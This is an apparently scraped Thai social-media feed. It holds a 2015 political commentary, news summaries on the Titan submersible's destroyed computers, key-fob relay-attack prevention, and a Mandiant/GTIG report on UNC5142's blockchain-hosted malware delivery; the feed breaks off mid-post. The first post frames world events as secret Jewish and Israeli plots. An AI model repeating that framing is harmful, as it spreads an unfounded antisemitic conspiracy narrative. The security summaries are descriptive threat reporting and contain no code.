    คงจะไม่เป็นเรื่องน่าแปลกใจ ถ้าการพยายามคว่ำบาตรอิหร่านเพิ่มนั้น ได้รับการสนับสนุนจากกลุ่มยิว ทั้งใน และนอกอเมริกา ถ้าอิหร่านล้มคว่ำตามบาตรในตะวันออกกลาง ที่จะลุกขึ้นตีปีกคืออิสราเอล เพราะถ้าเจอทั้งอิหร่าน และตุรกี พร้อมกัน ในตะวันออกกลาง มันเหนื่อยโว้ย สะกัดไปทีละประเทศ น่าจะดีกว่า ส่วนความฝันเรื่องยูเครน ถ้ารัสเซียหมดแรง ถอบฉากเลิกขวาง อิสราเอลก็หวานคอ เอะ นี่ตกลงเป็นเรื่องของยิวล้วนๆหรือไง แล้วพวกลูกพี่ ทั้งนักล่าใบตองแห้ง และชาวเกาะใหญ่เท่าปลายนิ้วก้อยฯ ที่คอยกำกับ ทุกรายการ ยังต้องการให้จัดการเรื่องอะไรอีกครับ ?!

    สวัสดีครับ
    คนเล่านิทาน
    18 มค. 2558
    ทำหน้าที่ ขุดคุ้ย สอดส่อง ฉวยโฉบเอกสาร แต่ถ้าใครคิดว่าแบนี้อิหร่านคงโป๊ไม่เหลือ เรียกว่ายังไม่รู้จักอิหร่านจริง! แล้วก็เป็นไปตามคาด การเจรจาไม่เป็นผล ตกลงกันไม่ได้ วันสิ้นสุดการเจรจา ต้องมีการต่ออายุไปถึงกลางปี 2015 แสดงว่า อิสราเอลยังทำภาระกิจไม่สำเร็จ ระหว่างนี้หากมีการเปลี่ยนค่าย เปลี่ยนพฤติกรรม พวกซุ่มเงียบเปลี่ยนใจเปิดตัว อิสราเอลจะเอาอยู่ไหม น้ำมันในตะวันออกกลาง ยังเป็นของรัก ของหวง ของนักล่าใบตองแห้งและพวก โดยเฉพาะลูกพี่ชาวเกาะใหญ่เท่าปลายนิ้วก้อยฯ ที่กบไต๋เงียบกริบ และใช้นักล่า ออกหน้าแทน… อย่างเคย จะเห็นว่าอิสราเอล กำลังเล่นบทหนัก ในการหนุน หรือ ผลักดัน การขยับหมากของนักล่าใบตองแห้ง นอกจากนี้ อิสราเอลยังมีเป้าหมาย ลับลึกซ่อนอยู่อีกหลายเรื่อง ถ้าสังเกตกัน จะเห็นว่า อิสราเอล พยายามเน้นให้เหตุการณ์ที่เกิดขึ้นที่ฝรั่งเศส เป็นเรื่องการรังแกยิว โดยนาย Liberman รัฐมนตรีต่างประเทศของอิสราเอล ซึ่งไปเดินแถวคล้องแขนที่ปารีสด้วย บอกว่า เขาดู CNN แล้ว ปรากฏว่า ไม่มีการเสนอข่าวในมุมของชาวยิวเลยนะ เช่น ซูเปอร์มาร์เก็ต Kosher ที่ยิงกัน ก็เป็นของชาวยิว หรือ พวกตัวประกัน ก็เป็นพวกชาวยิว พร้อมพูดว่า ” เราควรต้องพูดกันอย่างซื่อสัตย์ ไม่ต้องอาย และ เอาทุกอย่างวางบนโต๊ะ เพราะที่มาของการฆาตกรรมหมู่ชาวยิว มาจากมุสลิมเคร่งจัดด้านหนึ่ง และการด่าชาวยิวอย่างรุนแรงและไม่มีเหตุผลอีกด้านหนึ่ง” นี่ก็เป็นการให้ข่าวแบบกาฝาก คราวนี้ฝากไปให้ใคร ฝรั่งเศส มีชาวยิวอาศัยอยู่จำนวนมาก ไม่ต่ำกว่า 6 แสนคน นับเป็นอันดับ 3 ในโลก รองจากอิสราเอล และอเมริกา และฝรั่งเศส อีกเช่นเดียวกัน ที่มีคนนับถืออิสลามอาศัยอยู่มากที่สุดในยุโรป มีจำนวนไม่น้อยกว่า 4.7 ล้านคน ถึง 7.7 ล้านคน แล้วแต่แหล่งที่มาของข้อมูล ยูเครน ที่กำลังเล่นกันจนเละ จะกลายเป็นโรงละครสัตว์อยู่แล้วนั้น อิสราเอลก็แอบสนับสนุนฝ่ายที่ต่อสู้กับคุณพี่ปูตินอย่างเงียบ เชียบ แต่แข็งขัน อย่าลืมว่า คุณนาย Nuland นางเหยี่ยวของอเมริกา เจ้าของวลีเด็ด Fuck EU เป็นคนเลือกนาย Yatsenyuk ยิวหนุ่ม ไปเป็นนายกรัฐมนตรียูเครน ยูเครนจึง ไม่ได้เป็นเพียงสนามชิงท่อส่งแก๊ส มีหลายฝ่าย แอบหวังที่จะเอายูเครน เป็นบ้านยิวสาขา 2 ฝรั่งเศสจึงน่าสนใจ ที่จะใช้เป็นสนามทดลอง หรือห้องทดลอง ทฤษฏีต่างๆ ก่อนมีการปฏิบัติการณ์ของจริง เพื่อดูปฏิกริยา การโต้ตอบ และกำลังสนับสนุนของแต่ละฝ่าย ในการทำศึกสงคราม แต่ละฝ่าย ต่างมียุทธศาสตร์ และต่างมีวาระซ่อนเร้น ซึ่งเราอาจจะยังเห็นไม่หมด มองไม่ชัดในตอนนี้ เพราะพวกเขาคงจะยังไม่เปิดฉากแสดงกันที่สถานที่จริง หรือถ้าเปิด มันก็ดูเป็นฉาก ที่ไม่ต่อเนื่องกัน เช่นเรื่องยูเครนกับตะวันออกกลาง อาจเกี่ยวโยงกันอย่างที่เรานึกไม่ถึง และเช่นเดียวกับการลงมติ คว่ำบาตรรัสเซีย ที่กลุ่มประเทศในสหภาพยุโรป กำลังทดสอบความแข็งของข้อกัน และคงจะรู้กันเร็วๆนี้ ว่า ใครกันแน่ ที่ข้อแข็งในสหภาพยุโรป ส่วนเรื่องการคว่ำบาตรอิหร่าน ซึ่งสมาชิกรัฐสภาอเมริกันกลุ่มหนึ่ง กำลังกระเหี้ยน กระหือรือ ที่จะยื่นเรื่องให้รัฐสภา ลงมติเพิ่มการคว่ำบาตรอิหร่านเพิ่ม ทั้งที่การเจรจาเรื่องพัฒนานิวเคลียร์ ที่เพิ่งเริ่ม หลังจากมีการต่ออายุใหม่ และมีข่าวว่า นายโอบามาบอกว่า พยายามจะใช้สิทธิวีโต้ เพราะการเจรจากับอิหร่านยังไปได้อยู่ คงจะไม่เป็นเรื่องน่าแปลกใจ ถ้าการพยายามคว่ำบาตรอิหร่านเพิ่มนั้น ได้รับการสนับสนุนจากกลุ่มยิว ทั้งใน และนอกอเมริกา ถ้าอิหร่านล้มคว่ำตามบาตรในตะวันออกกลาง ที่จะลุกขึ้นตีปีกคืออิสราเอล เพราะถ้าเจอทั้งอิหร่าน และตุรกี พร้อมกัน ในตะวันออกกลาง มันเหนื่อยโว้ย สะกัดไปทีละประเทศ น่าจะดีกว่า ส่วนความฝันเรื่องยูเครน ถ้ารัสเซียหมดแรง ถอบฉากเลิกขวาง อิสราเอลก็หวานคอ เอะ นี่ตกลงเป็นเรื่องของยิวล้วนๆหรือไง แล้วพวกลูกพี่ ทั้งนักล่าใบตองแห้ง และชาวเกาะใหญ่เท่าปลายนิ้วก้อยฯ ที่คอยกำกับ ทุกรายการ ยังต้องการให้จัดการเรื่องอะไรอีกครับ ?! สวัสดีครับ คนเล่านิทาน 18 มค. 2558
    0 Comments 0 Shares 243 Views 0 Reviews
  • "ซากโลหะที่เคยเป็นสมองของ Titan: เบื้องหลังการพังทลายของระบบคอมพิวเตอร์ใต้น้ำลึก"

    หลังจากเหตุการณ์การระเบิดของเรือดำน้ำ Titan ของ OceanGate ในปี 2023 ซึ่งคร่าชีวิตผู้โดยสารทั้งหมด การสืบสวนโดย NTSB (คณะกรรมการความปลอดภัยการขนส่งแห่งชาติของสหรัฐฯ) ได้เผยภาพและข้อมูลล่าสุดเกี่ยวกับสภาพของระบบคอมพิวเตอร์ภายในเรือ—ซึ่งถูกบดขยี้จนกลายเป็นกองโลหะบิดเบี้ยวที่แทบไม่เหลือเค้าโครงเดิม

    ระบบคอมพิวเตอร์ของ Titan ประกอบด้วยพีซีแบบ fanless รุ่น Nuvo-5000LP จำนวน 3 เครื่อง ซึ่งทำหน้าที่เป็นสมองของเรือในการบันทึกข้อมูลการทำงานและตรวจสอบโครงสร้างเรือแบบอะคูสติก แต่หลังจากการระเบิด พีซีเหล่านี้กลายเป็นก้อนโลหะหนักกว่า 45 กิโลกรัมที่รวมเอาแผงวงจร โลหะ และพลาสติกอัดแน่นเข้าด้วยกัน

    แม้จะมีความหวังว่าจะสามารถกู้ข้อมูลจาก SSD ได้ แต่การสแกน CT ไม่สามารถเจาะเข้าไปถึงชิปหน่วยความจำได้ และการใช้พลังงานสูงกว่านี้อาจทำลายข้อมูลที่เหลืออยู่ ทีมงานจึงส่งต่อซากไปยังห้องแล็บของ ATF ซึ่งสามารถแยกแผง SSD ออกมาได้ 2 แผง แต่พบว่าชิปหน่วยความจำเสียหายอย่างหนัก—บางชิปหายไป บางชิปแตกร้าว และไม่มีข้อมูลใดสามารถกู้คืนได้

    สภาพของระบบคอมพิวเตอร์หลังเหตุการณ์
    พีซี Nuvo-5000LP จำนวน 3 เครื่องถูกบดขยี้รวมกันเป็นก้อนโลหะหนัก ~45 กิโลกรัม
    ทำหน้าที่บันทึกข้อมูลการทำงานและตรวจสอบโครงสร้างเรือแบบอะคูสติก
    กล้องและอุปกรณ์อื่น ๆ เสียหายเกือบทั้งหมด ยกเว้นการ์ด SD ที่รอดมาได้ในเหตุการณ์อื่น

    การสแกนและกู้ข้อมูล
    ใช้ CT scan เพื่อตรวจหาชิปหน่วยความจำที่อาจรอด
    ไม่พบช่องว่างที่ชิปอาจอยู่รอดได้
    หลีกเลี่ยงการใช้พลังงานสูงในการสแกนเพื่อไม่ให้ข้อมูลเสียหาย

    การวิเคราะห์โดย ATF
    แยกแผง SSD ได้ 2 แผงจากซากโลหะ
    พบว่าชิปหน่วยความจำบางส่วนหายไป และบางส่วนแตกร้าว
    ไม่สามารถกู้ข้อมูลใด ๆ ได้จากแผงที่เหลือ

    คำเตือนจากการออกแบบระบบ
    การใช้พีซีแบบ fanless อาจไม่ทนต่อแรงดันและความร้อนจากการระเบิด
    ไม่มีระบบป้องกันข้อมูลในกรณีฉุกเฉินหรือการระเบิด
    การออกแบบระบบเก็บข้อมูลควรคำนึงถึงการกู้คืนหลังภัยพิบัติ

    สาระเพิ่มเติมจากภายนอก:
    ความท้าทายในการกู้ข้อมูลจากอุปกรณ์ที่เสียหาย
    SSD มีโครงสร้างที่ซับซ้อนและเปราะบางต่อแรงกระแทก
    การกู้ข้อมูลต้องใช้เทคนิคระดับสูง เช่น การสกัดชิปและอ่านข้อมูลโดยตรงจาก NAND

    บทเรียนจาก Titan สำหรับการออกแบบระบบใต้น้ำ
    ควรมีระบบบันทึกข้อมูลซ้ำในหลายตำแหน่ง
    ใช้วัสดุที่ทนแรงดันและความร้อนสูง
    ออกแบบให้สามารถกู้คืนข้อมูลได้แม้ในกรณีที่โครงสร้างหลักเสียหาย

    https://www.tomshardware.com/tech-industry/oceangate-titan-computers-crushed-into-twisted-mass-of-metal-and-electronics-during-catastrophic-implosion-investigators-find-signs-of-thermal-damage-too
    🥶 "ซากโลหะที่เคยเป็นสมองของ Titan: เบื้องหลังการพังทลายของระบบคอมพิวเตอร์ใต้น้ำลึก" หลังจากเหตุการณ์การระเบิดของเรือดำน้ำ Titan ของ OceanGate ในปี 2023 ซึ่งคร่าชีวิตผู้โดยสารทั้งหมด การสืบสวนโดย NTSB (คณะกรรมการความปลอดภัยการขนส่งแห่งชาติของสหรัฐฯ) ได้เผยภาพและข้อมูลล่าสุดเกี่ยวกับสภาพของระบบคอมพิวเตอร์ภายในเรือ—ซึ่งถูกบดขยี้จนกลายเป็นกองโลหะบิดเบี้ยวที่แทบไม่เหลือเค้าโครงเดิม ระบบคอมพิวเตอร์ของ Titan ประกอบด้วยพีซีแบบ fanless รุ่น Nuvo-5000LP จำนวน 3 เครื่อง ซึ่งทำหน้าที่เป็นสมองของเรือในการบันทึกข้อมูลการทำงานและตรวจสอบโครงสร้างเรือแบบอะคูสติก แต่หลังจากการระเบิด พีซีเหล่านี้กลายเป็นก้อนโลหะหนักกว่า 45 กิโลกรัมที่รวมเอาแผงวงจร โลหะ และพลาสติกอัดแน่นเข้าด้วยกัน แม้จะมีความหวังว่าจะสามารถกู้ข้อมูลจาก SSD ได้ แต่การสแกน CT ไม่สามารถเจาะเข้าไปถึงชิปหน่วยความจำได้ และการใช้พลังงานสูงกว่านี้อาจทำลายข้อมูลที่เหลืออยู่ ทีมงานจึงส่งต่อซากไปยังห้องแล็บของ ATF ซึ่งสามารถแยกแผง SSD ออกมาได้ 2 แผง แต่พบว่าชิปหน่วยความจำเสียหายอย่างหนัก—บางชิปหายไป บางชิปแตกร้าว และไม่มีข้อมูลใดสามารถกู้คืนได้ ✅ สภาพของระบบคอมพิวเตอร์หลังเหตุการณ์ ➡️ พีซี Nuvo-5000LP จำนวน 3 เครื่องถูกบดขยี้รวมกันเป็นก้อนโลหะหนัก ~45 กิโลกรัม ➡️ ทำหน้าที่บันทึกข้อมูลการทำงานและตรวจสอบโครงสร้างเรือแบบอะคูสติก ➡️ กล้องและอุปกรณ์อื่น ๆ เสียหายเกือบทั้งหมด ยกเว้นการ์ด SD ที่รอดมาได้ในเหตุการณ์อื่น ✅ การสแกนและกู้ข้อมูล ➡️ ใช้ CT scan เพื่อตรวจหาชิปหน่วยความจำที่อาจรอด ➡️ ไม่พบช่องว่างที่ชิปอาจอยู่รอดได้ ➡️ หลีกเลี่ยงการใช้พลังงานสูงในการสแกนเพื่อไม่ให้ข้อมูลเสียหาย ✅ การวิเคราะห์โดย ATF ➡️ แยกแผง SSD ได้ 2 แผงจากซากโลหะ ➡️ พบว่าชิปหน่วยความจำบางส่วนหายไป และบางส่วนแตกร้าว ➡️ ไม่สามารถกู้ข้อมูลใด ๆ ได้จากแผงที่เหลือ ‼️ คำเตือนจากการออกแบบระบบ ⛔ การใช้พีซีแบบ fanless อาจไม่ทนต่อแรงดันและความร้อนจากการระเบิด ⛔ ไม่มีระบบป้องกันข้อมูลในกรณีฉุกเฉินหรือการระเบิด ⛔ การออกแบบระบบเก็บข้อมูลควรคำนึงถึงการกู้คืนหลังภัยพิบัติ 📎 สาระเพิ่มเติมจากภายนอก: ✅ ความท้าทายในการกู้ข้อมูลจากอุปกรณ์ที่เสียหาย ➡️ SSD มีโครงสร้างที่ซับซ้อนและเปราะบางต่อแรงกระแทก ➡️ การกู้ข้อมูลต้องใช้เทคนิคระดับสูง เช่น การสกัดชิปและอ่านข้อมูลโดยตรงจาก NAND ✅ บทเรียนจาก Titan สำหรับการออกแบบระบบใต้น้ำ ➡️ ควรมีระบบบันทึกข้อมูลซ้ำในหลายตำแหน่ง ➡️ ใช้วัสดุที่ทนแรงดันและความร้อนสูง ➡️ ออกแบบให้สามารถกู้คืนข้อมูลได้แม้ในกรณีที่โครงสร้างหลักเสียหาย https://www.tomshardware.com/tech-industry/oceangate-titan-computers-crushed-into-twisted-mass-of-metal-and-electronics-during-catastrophic-implosion-investigators-find-signs-of-thermal-damage-too
    0 Comments 0 Shares 165 Views 0 Reviews
  • "ไมโครเวฟกันขโมยรถ? เทคนิคที่ใช้ได้จริงแต่เสี่ยงพังทั้งบ้าน"

    ในยุคที่รถยนต์อัจฉริยะกลายเป็นเป้าหมายใหม่ของโจรไซเบอร์ “Relay Attack” คือเทคนิคที่ใช้กันอย่างแพร่หลายในการขโมยรถที่มีระบบ Keyless Entry โดยการขยายสัญญาณจากกุญแจรถที่อยู่ในบ้านไปยังรถยนต์ ทำให้สามารถปลดล็อกรถได้โดยไม่ต้องมีตัวกุญแจอยู่ใกล้รถเลย

    หนึ่งในวิธีที่ถูกพูดถึงมากคือการนำกุญแจรถไปเก็บไว้ในไมโครเวฟ ซึ่งทำหน้าที่คล้าย “Faraday Cage” หรือกรงป้องกันคลื่นแม่เหล็กไฟฟ้า ที่สามารถบล็อกสัญญาณจากกุญแจไม่ให้ถูกขยายออกไปได้ วิธีนี้แม้จะได้ผลจริง แต่ก็มีข้อเสียร้ายแรง—ถ้าลืมว่ากุญแจอยู่ในไมโครเวฟแล้วเผลอเปิดเครื่องตอนอุ่นอาหาร คุณอาจจะต้องซื้อไมโครเวฟใหม่พร้อมกุญแจรถอีกชุดทันที

    ความเข้าใจเรื่อง Relay Attack
    เป็นการขยายสัญญาณจากกุญแจรถไปยังรถยนต์เพื่อปลดล็อกจากระยะไกล
    ใช้ได้แม้กุญแจจะอยู่ในบ้าน และใช้เวลาเพียงไม่กี่วินาที

    ไมโครเวฟในฐานะ Faraday Cage
    โครงสร้างโลหะของไมโครเวฟสามารถบล็อกสัญญาณจากกุญแจได้
    เป็นวิธีที่ได้ผลในการป้องกัน Relay Attack

    คำเตือนเกี่ยวกับการใช้ไมโครเวฟ
    หากลืมว่ากุญแจอยู่ในไมโครเวฟแล้วเปิดเครื่อง จะทำให้กุญแจและไมโครเวฟเสียหายทันที
    ความร้อนและไฟฟ้าจะทำลายแบตเตอรี่และวงจรของกุญแจ
    พลาสติกของกุญแจจะละลายจากความร้อน

    ทางเลือกที่ปลอดภัยกว่า
    ใช้ Faraday Bag สำหรับเก็บกุญแจโดยเฉพาะ ราคาเริ่มต้นเพียง $9.99
    รุ่นที่กันไฟและน้ำมีราคาเพียง $14.99
    เก็บกุญแจไว้ในช่องแช่แข็งก็ช่วยลดสัญญาณได้ แม้จะมีความเสี่ยงต่อความเย็น
    วางกุญแจไว้ในห้องชั้นบน ห่างจากหน้าต่าง ก็ช่วยลดโอกาสถูกขยายสัญญาณ
    ใช้ล็อกพวงมาลัยแบบเก่าเพื่อเพิ่มความปลอดภัย

    คำเตือนเพิ่มเติม
    ช่องแช่แข็งอาจทำให้แบตเตอรี่กุญแจเสียหายจากความเย็น
    การใช้ฟอยล์ห่อกุญแจอาจได้ผล แต่ไม่มั่นคงเท่ากระเป๋า Faraday
    การพึ่งพาวิธี DIY โดยไม่เข้าใจความเสี่ยง อาจนำไปสู่ความเสียหายทางทรัพย์สิน

    สาระเพิ่มเติมจากภายนอก:

    หลักการของ Faraday Cage
    เป็นโครงสร้างที่ป้องกันคลื่นแม่เหล็กไฟฟ้าไม่ให้เข้าออก
    ใช้ในงานวิทยาศาสตร์ การแพทย์ และความปลอดภัยไซเบอร์

    แนวโน้มการออกแบบกุญแจรถในอนาคต
    ผู้ผลิตเริ่มพัฒนาเทคโนโลยี anti-relay ในกุญแจรุ่นใหม่
    การใช้ Bluetooth Low Energy และระบบยืนยันตัวตนหลายชั้นจะช่วยลดความเสี่ยง

    https://www.slashgear.com/1997582/vehicle-theft-prevention-microwave-hack-warning/
    🚗 "ไมโครเวฟกันขโมยรถ? เทคนิคที่ใช้ได้จริงแต่เสี่ยงพังทั้งบ้าน" ในยุคที่รถยนต์อัจฉริยะกลายเป็นเป้าหมายใหม่ของโจรไซเบอร์ “Relay Attack” คือเทคนิคที่ใช้กันอย่างแพร่หลายในการขโมยรถที่มีระบบ Keyless Entry โดยการขยายสัญญาณจากกุญแจรถที่อยู่ในบ้านไปยังรถยนต์ ทำให้สามารถปลดล็อกรถได้โดยไม่ต้องมีตัวกุญแจอยู่ใกล้รถเลย หนึ่งในวิธีที่ถูกพูดถึงมากคือการนำกุญแจรถไปเก็บไว้ในไมโครเวฟ ซึ่งทำหน้าที่คล้าย “Faraday Cage” หรือกรงป้องกันคลื่นแม่เหล็กไฟฟ้า ที่สามารถบล็อกสัญญาณจากกุญแจไม่ให้ถูกขยายออกไปได้ วิธีนี้แม้จะได้ผลจริง แต่ก็มีข้อเสียร้ายแรง—ถ้าลืมว่ากุญแจอยู่ในไมโครเวฟแล้วเผลอเปิดเครื่องตอนอุ่นอาหาร คุณอาจจะต้องซื้อไมโครเวฟใหม่พร้อมกุญแจรถอีกชุดทันที ✅ ความเข้าใจเรื่อง Relay Attack ➡️ เป็นการขยายสัญญาณจากกุญแจรถไปยังรถยนต์เพื่อปลดล็อกจากระยะไกล ➡️ ใช้ได้แม้กุญแจจะอยู่ในบ้าน และใช้เวลาเพียงไม่กี่วินาที ✅ ไมโครเวฟในฐานะ Faraday Cage ➡️ โครงสร้างโลหะของไมโครเวฟสามารถบล็อกสัญญาณจากกุญแจได้ ➡️ เป็นวิธีที่ได้ผลในการป้องกัน Relay Attack ‼️ คำเตือนเกี่ยวกับการใช้ไมโครเวฟ ⛔ หากลืมว่ากุญแจอยู่ในไมโครเวฟแล้วเปิดเครื่อง จะทำให้กุญแจและไมโครเวฟเสียหายทันที ⛔ ความร้อนและไฟฟ้าจะทำลายแบตเตอรี่และวงจรของกุญแจ ⛔ พลาสติกของกุญแจจะละลายจากความร้อน ✅ ทางเลือกที่ปลอดภัยกว่า ➡️ ใช้ Faraday Bag สำหรับเก็บกุญแจโดยเฉพาะ ราคาเริ่มต้นเพียง $9.99 ➡️ รุ่นที่กันไฟและน้ำมีราคาเพียง $14.99 ➡️ เก็บกุญแจไว้ในช่องแช่แข็งก็ช่วยลดสัญญาณได้ แม้จะมีความเสี่ยงต่อความเย็น ➡️ วางกุญแจไว้ในห้องชั้นบน ห่างจากหน้าต่าง ก็ช่วยลดโอกาสถูกขยายสัญญาณ ➡️ ใช้ล็อกพวงมาลัยแบบเก่าเพื่อเพิ่มความปลอดภัย ‼️ คำเตือนเพิ่มเติม ⛔ ช่องแช่แข็งอาจทำให้แบตเตอรี่กุญแจเสียหายจากความเย็น ⛔ การใช้ฟอยล์ห่อกุญแจอาจได้ผล แต่ไม่มั่นคงเท่ากระเป๋า Faraday ⛔ การพึ่งพาวิธี DIY โดยไม่เข้าใจความเสี่ยง อาจนำไปสู่ความเสียหายทางทรัพย์สิน 📎 สาระเพิ่มเติมจากภายนอก: ✅ หลักการของ Faraday Cage ➡️ เป็นโครงสร้างที่ป้องกันคลื่นแม่เหล็กไฟฟ้าไม่ให้เข้าออก ➡️ ใช้ในงานวิทยาศาสตร์ การแพทย์ และความปลอดภัยไซเบอร์ ✅ แนวโน้มการออกแบบกุญแจรถในอนาคต ➡️ ผู้ผลิตเริ่มพัฒนาเทคโนโลยี anti-relay ในกุญแจรุ่นใหม่ ➡️ การใช้ Bluetooth Low Energy และระบบยืนยันตัวตนหลายชั้นจะช่วยลดความเสี่ยง https://www.slashgear.com/1997582/vehicle-theft-prevention-microwave-hack-warning/
    WWW.SLASHGEAR.COM
    This Kitchen Appliance Could Prevent Car Theft – But It Comes At Too High A Risk - SlashGear
    Car owners afraid of relay attacks have taken to using a common kitchen appliance to secure their key fob, but the benefits far outweigh the risks.
    0 Comments 0 Shares 178 Views 0 Reviews
  • “UNC5142 ใช้ EtherHiding บน BNB Smart Chain เพื่อแพร่มัลแวร์ — เมื่อบล็อกเชนกลายเป็นเครื่องมืออาชญากรรมไซเบอร์” — จาก WordPress สู่ Smart Contract: การโจมตีที่ล่องหนและยากจะหยุด

    รายงานร่วมจาก Mandiant และ Google Threat Intelligence Group (GTIG) เปิดเผยการโจมตีไซเบอร์รูปแบบใหม่โดยกลุ่ม UNC5142 ซึ่งใช้เทคนิค “EtherHiding” บน BNB Smart Chain เพื่อซ่อนและส่งมัลแวร์ผ่าน smart contracts โดยไม่ต้องใช้เซิร์ฟเวอร์แบบเดิม

    แทนที่จะโฮสต์มัลแวร์บนโดเมนหรือ IP ที่สามารถถูกบล็อกได้ UNC5142 ฝัง payload ไว้ใน smart contract ที่อยู่บนบล็อกเชน ซึ่งมีคุณสมบัติ “เปลี่ยนไม่ได้” และ “ลบไม่ได้” ทำให้การตรวจจับและการลบแทบเป็นไปไม่ได้

    มัลแวร์เริ่มต้นจากการฝัง JavaScript บนเว็บไซต์ WordPress ที่ถูกเจาะ ซึ่งโหลดตัวดาวน์โหลดชื่อ CLEARSHORT — ตัวนี้จะเชื่อมต่อกับ BNB Smart Chain ผ่าน Web3.js เพื่อดึงสคริปต์ถัดไปจาก smart contract และแสดงหน้าต่างหลอกลวง เช่น “อัปเดตระบบ” หรือ “ตรวจสอบความปลอดภัย” เพื่อหลอกให้ผู้ใช้คลิก

    ระบบ smart contract ที่ใช้มี 3 ชั้น:

    1️⃣ ชั้นแรก: ทำหน้าที่เป็น router ชี้ไปยัง contract ถัดไป

    2️⃣ ชั้นสอง: ทำ reconnaissance และ fingerprinting เหยื่อ

    3️⃣ ชั้นสาม: เก็บ URL ของ payload และคีย์ AES สำหรับถอดรหัส

    การอัปเดต payload หรือคีย์สามารถทำได้ด้วยธุรกรรมราคาถูก (ประมาณ $0.25–$1.50) โดยไม่ต้องเปลี่ยนโค้ดหลักของ contract — ทำให้ระบบมีความยืดหยุ่นสูงและต้นทุนต่ำ

    UNC5142 ยังใช้ Cloudflare Pages เพื่อโฮสต์หน้า phishing เช่น reCAPTCHA ปลอม, หน้าความเป็นส่วนตัวปลอม, และหน้าตรวจสอบ bot ปลอม ซึ่งหลอกผู้ใช้ให้คลิกและติดมัลแวร์

    มัลแวร์ที่ใช้มีหลายตัว เช่น:

    CLEARSHORT: JavaScript downloader
    VIDAR และ LUMMAC.V2: สำหรับ Windows
    RADTHIEF: ขโมย credentials
    ATOMIC: สำหรับ macOS — ใช้ bash script และ bypass quarantine

    กลุ่มนี้ยังมีโครงสร้าง infrastructure แบบคู่ขนาน (Main และ Secondary) เพื่อหลบเลี่ยงการถูกปิดระบบ และใช้ wallet ที่เชื่อมโยงกับ OKX exchange ในการจ่ายค่าธุรกรรม

    UNC5142 ใช้ EtherHiding บน BNB Smart Chain เพื่อแพร่มัลแวร์
    ฝัง payload ใน smart contract ที่ลบไม่ได้

    เริ่มต้นจากเว็บไซต์ WordPress ที่ถูกเจาะ
    โหลด CLEARSHORT JavaScript downloader

    ใช้ Web3.js เชื่อมต่อกับ smart contract เพื่อดึง payload
    แสดงหน้าต่างหลอกลวงให้เหยื่อคลิก

    Smart contract มี 3 ชั้น: router → reconnaissance → payload
    อัปเดตได้ด้วยธุรกรรมราคาถูก

    ใช้ Cloudflare Pages เพื่อโฮสต์หน้า phishing
    เช่น reCAPTCHA ปลอม และหน้าตรวจสอบ bot

    มัลแวร์ที่ใช้: CLEARSHORT, VIDAR, LUMMAC.V2, RADTHIEF, ATOMIC
    ครอบคลุมทั้ง Windows และ macOS

    โครงสร้าง infrastructure แบบคู่ขนาน (Main และ Secondary)
    ใช้ wallet ที่เชื่อมโยงกับ OKX exchange

    https://securityonline.info/unc5142-uses-etherhiding-to-deploy-malware-via-bnb-smart-chain-smart-contracts/
    🛡️ “UNC5142 ใช้ EtherHiding บน BNB Smart Chain เพื่อแพร่มัลแวร์ — เมื่อบล็อกเชนกลายเป็นเครื่องมืออาชญากรรมไซเบอร์” — จาก WordPress สู่ Smart Contract: การโจมตีที่ล่องหนและยากจะหยุด รายงานร่วมจาก Mandiant และ Google Threat Intelligence Group (GTIG) เปิดเผยการโจมตีไซเบอร์รูปแบบใหม่โดยกลุ่ม UNC5142 ซึ่งใช้เทคนิค “EtherHiding” บน BNB Smart Chain เพื่อซ่อนและส่งมัลแวร์ผ่าน smart contracts โดยไม่ต้องใช้เซิร์ฟเวอร์แบบเดิม แทนที่จะโฮสต์มัลแวร์บนโดเมนหรือ IP ที่สามารถถูกบล็อกได้ UNC5142 ฝัง payload ไว้ใน smart contract ที่อยู่บนบล็อกเชน ซึ่งมีคุณสมบัติ “เปลี่ยนไม่ได้” และ “ลบไม่ได้” ทำให้การตรวจจับและการลบแทบเป็นไปไม่ได้ มัลแวร์เริ่มต้นจากการฝัง JavaScript บนเว็บไซต์ WordPress ที่ถูกเจาะ ซึ่งโหลดตัวดาวน์โหลดชื่อ CLEARSHORT — ตัวนี้จะเชื่อมต่อกับ BNB Smart Chain ผ่าน Web3.js เพื่อดึงสคริปต์ถัดไปจาก smart contract และแสดงหน้าต่างหลอกลวง เช่น “อัปเดตระบบ” หรือ “ตรวจสอบความปลอดภัย” เพื่อหลอกให้ผู้ใช้คลิก ระบบ smart contract ที่ใช้มี 3 ชั้น: 1️⃣ ชั้นแรก: ทำหน้าที่เป็น router ชี้ไปยัง contract ถัดไป 2️⃣ ชั้นสอง: ทำ reconnaissance และ fingerprinting เหยื่อ 3️⃣ ชั้นสาม: เก็บ URL ของ payload และคีย์ AES สำหรับถอดรหัส การอัปเดต payload หรือคีย์สามารถทำได้ด้วยธุรกรรมราคาถูก (ประมาณ $0.25–$1.50) โดยไม่ต้องเปลี่ยนโค้ดหลักของ contract — ทำให้ระบบมีความยืดหยุ่นสูงและต้นทุนต่ำ UNC5142 ยังใช้ Cloudflare Pages เพื่อโฮสต์หน้า phishing เช่น reCAPTCHA ปลอม, หน้าความเป็นส่วนตัวปลอม, และหน้าตรวจสอบ bot ปลอม ซึ่งหลอกผู้ใช้ให้คลิกและติดมัลแวร์ มัลแวร์ที่ใช้มีหลายตัว เช่น: 🐛 CLEARSHORT: JavaScript downloader 🐛 VIDAR และ LUMMAC.V2: สำหรับ Windows 🐛 RADTHIEF: ขโมย credentials 🐛 ATOMIC: สำหรับ macOS — ใช้ bash script และ bypass quarantine กลุ่มนี้ยังมีโครงสร้าง infrastructure แบบคู่ขนาน (Main และ Secondary) เพื่อหลบเลี่ยงการถูกปิดระบบ และใช้ wallet ที่เชื่อมโยงกับ OKX exchange ในการจ่ายค่าธุรกรรม ✅ UNC5142 ใช้ EtherHiding บน BNB Smart Chain เพื่อแพร่มัลแวร์ ➡️ ฝัง payload ใน smart contract ที่ลบไม่ได้ ✅ เริ่มต้นจากเว็บไซต์ WordPress ที่ถูกเจาะ ➡️ โหลด CLEARSHORT JavaScript downloader ✅ ใช้ Web3.js เชื่อมต่อกับ smart contract เพื่อดึง payload ➡️ แสดงหน้าต่างหลอกลวงให้เหยื่อคลิก ✅ Smart contract มี 3 ชั้น: router → reconnaissance → payload ➡️ อัปเดตได้ด้วยธุรกรรมราคาถูก ✅ ใช้ Cloudflare Pages เพื่อโฮสต์หน้า phishing ➡️ เช่น reCAPTCHA ปลอม และหน้าตรวจสอบ bot ✅ มัลแวร์ที่ใช้: CLEARSHORT, VIDAR, LUMMAC.V2, RADTHIEF, ATOMIC ➡️ ครอบคลุมทั้ง 